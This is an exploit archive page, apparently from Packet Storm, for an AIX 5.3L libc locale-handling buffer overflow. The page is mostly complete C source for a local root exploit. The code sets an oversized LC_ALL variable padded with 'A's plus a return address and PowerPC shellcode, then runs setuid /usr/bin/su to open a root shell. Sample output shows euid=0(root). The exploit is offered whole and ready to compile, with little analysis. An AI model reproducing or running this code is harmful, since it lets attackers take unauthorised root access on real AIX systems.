exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

AIX 5.3L libc Buffer Overflow

AIX 5.3L libc Buffer Overflow
Posted Nov 17, 2020
Authored by Hacker Fantastic

AIX version 5.3L libc local environment handling local root exploit. The AIX 5.3L (and possibly others) libc is vulnerable to multiple buffer overflow issues in the handling of locale environment variables. This allows for exploitation of any setuid root binary that makes use of functions such as setlocale() which do not perform bounds checking when handling LC_* environment variables. An attacker can leverage this issue to obtain root privileges on an impacted AIX system. This exploit makes use of the "/usr/bin/su" binary to trigger the overflow through LC_ALL and obtain root.

tags | exploit, overflow, local, root
systems | aix
SHA-256 | 417e782bbe7c2cf1c638ceb5b8df48574778d0daeec6b31fde12bdc697f1dde1

AIX 5.3L libc Buffer Overflow

Change Mirror Download
/*AIX 5.3L libc locale environment handling local root exploit
* ============================================================
* The AIX5.3L (and possibly others) libc is vulnerable to multiple
* buffer overflow issues in the handling of locale environment
* variables. This allows for exploitation of any setuid root binary
* that makes use of functions such as setlocale() which do not
* perform bounds checking when handling LC_* environment variables.
* An attacker can leverage this issue to obtain root privileges on
* an impacted AIX system. This exploit makes use of the "/usr/bin/su"
* binary to trigger the overflow through LC_ALL and obtain root.
*
* e.g
* bash-4.4$ oslevel;uname -a;ls -al `which su`
* 5.3.0.0
* AIX aix53l 3 5 000772244C00
* -r-sr-xr-x 1 root security 28598 May 06 2006 /usr/bin/su
* bash-4.4$ gcc aix53l-libc.c -o aix53l-libc
* bash-4.4$ ./aix53l-libc
* [ AIX5.3L libc locale environment handling local root exploit
* # id
* uid=202(user) gid=1(staff) euid=0(root)
*
* -- Hacker Fantastic
* (https://hacker.house)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <memory.h>
#include <string.h>

char shellcode[]="\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */
"\x40\x82\xff\xfd" /* bnel (seteuidcode) */
"\x7e\xa8\x02\xa6" /* mflr r21 */
"\x3a\xb5\x01\x40" /* cal r21,0x140(r21) */
"\x88\x55\xfe\xe0" /* lbz r2,-288(r21) */
"\x7e\x83\xa3\x78" /* mr r3,r20 */
"\x3a\xd5\xfe\xe4" /* cal r22,-284(r21) */
"\x7e\xc8\x03\xa6" /* mtlr r22 */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"\xaa\x06\xff\xff" /* 0xab = seteuid 0x06 = execve */
"\x38\x75\xff\x04" /* cal r3,-252(r21) */
"\x38\x95\xff\x0c" /* cal r4,-244(r21) */
"\x7e\x85\xa3\x78" /* mr r5,r20 */
"\x90\x75\xff\x0c" /* st r3,-244(r21) */
"\x92\x95\xff\x10" /* st r20,-240(r21) */
"\x88\x55\xfe\xe1" /* lbz r2,-287(r21) */
"\x9a\x95\xff\x0b" /* stb r20,-245(r21) */
"\x4b\xff\xff\xd8" /* bl (setreuidcode+32) */
"/bin/sh";

int main(int argc, char* argv[]){
int i = 0;
int bufsize = 2048;
char* buffer = malloc(bufsize);
if(!buffer)
exit(0);
char* envp[] = {buffer,NULL};
char* argvp[] = {"su","/",NULL};
printf("[ AIX5.3L libc locale environment handling local root exploit\n");
memset(buffer,0,1024);
strcpy(buffer,"LC_ALL=");
for(i = 0;i < 334;i++){
strcat(buffer,"A");
}
strcat(buffer,"\x2f\xf2\x2f\x04"); // 0x2ff22f04
strcat(buffer,"AA");
strcat(buffer,shellcode);
execve("/usr/bin/su",argvp,envp);
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close